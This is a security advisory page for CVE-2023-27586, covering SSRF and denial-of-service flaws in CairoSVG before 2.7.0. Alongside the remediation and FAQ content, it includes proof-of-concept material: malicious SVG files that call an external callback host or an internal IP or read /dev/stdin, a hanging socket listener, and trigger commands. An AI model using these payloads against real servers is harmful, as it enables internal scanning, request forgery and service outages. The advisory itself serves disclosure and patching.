CVE-2023-27586: CairoSVG improperly processes SVG files loaded from external resources

Published Mar 20, 2023
·
Updated

SSRF vulnerability

Summary When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version 2.6.0

Details A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.

PoC 1. Generating malicious svg file: 1.1 CairoSVGexploit.svg: svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/3" /> <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style> <style type="text/css"> <![CDATA[ @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9"); rect { fill: red; stroke: blue; stroke-width: 3 } ]]> </style> </svg>

1.2 CairoSVGexploit2.svg: svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <defs> <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450"> <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" /> </pattern> </defs> <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" /> </svg>

1.3 CairoSVGexploit3.svg: svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" /> </svg>

2. Run some commands: $ python3 -m cairosvg CairoSVGexploit.svg -f png $ python3 -m cairosvg CairoSVGexploit2.svg -f png $ python3 -m cairosvg CairoSVGexploit3.svg -f png

3. See result requests in Burp Collaborator: !1

DOS vulnerability with SSTI

Summary When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version 2.6.0

PoC 1. Generating malicious svg file:

svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <use href="http://192.168.56.1:1234/" /> </svg>

2. In other server run this python program:

python import socket s = socket.socket(socket.AFINET, socket.SOCKSTREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close()

3. Run commands: $timeout 60 python3 -m cairosvg CairoSVGexploitdos.svg -f png (without timeout server will hang forever)

DOS vulnerability with stdin file descriptor

Summary

Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version 2.6.0

PoC 1. Generating malicious svg file:

svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <use href="file:///dev/stdin" /> </svg>

2. In other server run this python program: python import socket s = socket.socket(socket.AFINET, socket.SOCKSTREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close()

3. Run commands: $timeout 60 python3 -m cairosvg cariosvgexploitdos.svg -f png

Other sources

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Affected Software

14 affected componentsFixes available
pip/cairosvg<2.7.0
2.7.0
CourtBouillon CairoSVG<2.7.0
alpine/py3-cairosvg<2.7.0-r0
2.7.0-r0
alpine/py3-cairosvg<2.7.0-r0
2.7.0-r0
alpine/py3-cairosvg<2.7.0-r0
2.7.0-r0
alpine/py3-cairosvg<2.7.0-r0
2.7.0-r0
alpine/py3-cairosvg<2.7.0-r0
2.7.0-r0
alpine/py3-cairosvg<2.7.0-r0
2.7.0-r0
alpine/py3-cairosvg<2.7.0-r0
2.7.0-r0
ubuntu/cairosvg<1.0.19-1ubuntu0.1~esm1
1.0.19-1ubuntu0.1~esm1
ubuntu/cairosvg<1.0.20-1ubuntu0.1~esm1
1.0.20-1ubuntu0.1~esm1
ubuntu/cairosvg<2.4.2-1ubuntu0.1~esm1
2.4.2-1ubuntu0.1~esm1
ubuntu/cairosvg<2.5.2-1ubuntu0.1~esm1
2.5.2-1ubuntu0.1~esm1
ubuntu/cairosvg*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/CairoSVG to a version that resolves this vulnerability.

    Fixed in 2.7.0
  2. Upgrade

    Upgrade alpine/py3-cairosvg to a version that resolves this vulnerability.

    Fixed in 2.7.0-r0
  3. Upgrade

    Upgrade ubuntu/cairosvg to a version that resolves this vulnerability.

    Fixed in 1.0.19-1ubuntu0.1~esm1
  4. Upgrade

    Upgrade ubuntu/cairosvg to a version that resolves this vulnerability.

    Fixed in 1.0.20-1ubuntu0.1~esm1
  5. Upgrade

    Upgrade ubuntu/cairosvg to a version that resolves this vulnerability.

    Fixed in 2.4.2-1ubuntu0.1~esm1
  6. Upgrade

    Upgrade ubuntu/cairosvg to a version that resolves this vulnerability.

    Fixed in 2.5.2-1ubuntu0.1~esm1
  7. Upgrade

    Upgrade CairoSVG to a version that resolves this vulnerability.

    Fixed in 2.7.0

Event History

Mar 20, 2023
CVE Published
via MITRE·03:23 PM
Data Sourced
via MITRE·03:23 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·09:27 PM
Nov 18, 2026
Data Sourced
via OSV·12:45 AM
Affected Software

Frequently Asked Questions

1

What is the severity of CVE-2023-27586?

CVE-2023-27586 has been classified as a medium severity vulnerability.

2

How do I fix CVE-2023-27586?

To mitigate CVE-2023-27586, upgrade CairoSVG to version 2.7.0 or later.

3

What type of vulnerability is CVE-2023-27586?

CVE-2023-27586 is a Server-Side Request Forgery (SSRF) vulnerability.

4

Which versions of CairoSVG are affected by CVE-2023-27586?

CVE-2023-27586 affects all versions of CairoSVG prior to 2.7.0.

5

What is the impact of CVE-2023-27586?

The impact of CVE-2023-27586 allows an attacker to make unauthorized requests to internal or external hosts.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203